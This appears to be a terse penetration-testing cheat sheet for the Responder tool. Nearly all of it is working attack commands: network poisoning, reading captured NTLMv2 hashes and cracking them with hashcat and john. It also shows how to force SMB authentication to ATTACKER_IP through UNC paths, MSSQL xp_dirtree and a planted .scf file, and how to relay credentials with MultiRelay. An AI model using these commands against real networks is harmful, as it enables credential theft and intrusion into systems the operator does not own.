Responder

responder -I eth0
responder -I eth0 -wv              # WPAD proxy + verbose

responder -I eth0 -A

# /etc/responder/Responder.conf
SMB = Off
HTTP = Off

responder -I eth0

# Location
/usr/share/responder/logs/

# Format: NTLMv2
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# From compromised host — trigger SMB auth
dir \\ATTACKER_IP\share
net use \\ATTACKER_IP\share

# Via MSSQL
EXEC xp_dirtree '\\ATTACKER_IP\share';

# Via shortcut file (.lnk/.scf) in writable share

[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop

python /usr/share/responder/tools/MultiRelay.py -t TARGET -u ALL